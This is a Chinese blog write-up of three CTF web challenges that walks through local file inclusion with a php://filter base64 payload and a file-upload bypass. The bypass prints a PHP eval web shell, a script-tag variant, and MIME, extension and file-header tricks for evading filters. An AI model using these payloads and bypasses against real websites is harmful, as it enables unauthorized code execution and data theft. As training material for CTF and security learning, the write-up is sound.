文件包含&&文件上传(1)——CTF写题笔记

目录

[ACTF2020 新生赛]Include

[极客大挑战 2019]Secret File

[极客大挑战 2019]Upload


[ACTF2020 新生赛]Include

刚进题目发现一个链接,名称为tip。点入链接挑战到新的页面。

页面显示“Can you find out the flag?",并且发现使用了文件包含?file=flag.php。

考虑有部分内容被注释掉而无法显示在页面上。

使用php伪协议将文件内容使用base64编码后输出

?file=php://filter/read=convert.base64-encode/resource=flag.php

进行解码

得到了被注释掉的flag

[极客大挑战 2019]Secret File

一点进去显示出一个诡异的页面。

页面上没有什么信息,F12打开开发者模式看一下页面源文件。

看到了./Archive_room.php的文件路径,直接去访问。

得到如上页面,有链接SECRET链接到action.php文件,直接访问。

访问之后居然直接跳转到了end.php文件,考虑使用burpsuite抓包,再使用repeater模块。

得到了文件名为secr3t.php。直接访问。

回显了如上页面,显然上面这段代码说明了当前的文件使用了include函数,可以去执行文件包含,并且明确告知了我们需要访问flag.php。strstr函数对我们的查询没有过滤,直接文件包含。

/secr3t.php?file=flag.php

回显了如上页面,并未显示出flag,那我我们使用老方法,用php伪协议将文件内容base64编码输出。

得到编码,页面显示不下,F12查看全部内容直接解码。

得到flag。

[极客大挑战 2019]Upload

写马

<?php @eval($_REQUEST["cmd"]);?>

直接尝试上传hack.php。

回显不是图片类型,直接上bp

尝试MIME绕过,image/jpeg

回显

可能对文件扩展名也有过滤,修改为hack.phtml。(php3,php4,php5和phtml都会将文件当作PHP解析)

回显

看来对文件内容也存在过滤。我们用jsp语法绕过对'<?'的检测

<script language="php">@eval($_REQUEST["cmd"])</script>

回显如上,猜测还有可能对文件头有过滤,我们尝试修改一下文件头,做一个图片马。

可以使用010editor进行操作。或者也可以在文件前端加上“GIF81a”去绕过对文件头的过滤。

访问目录/upload/hack.phtml。

发现文件成功被解析。直接上蚁剑

成功找到flag。

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值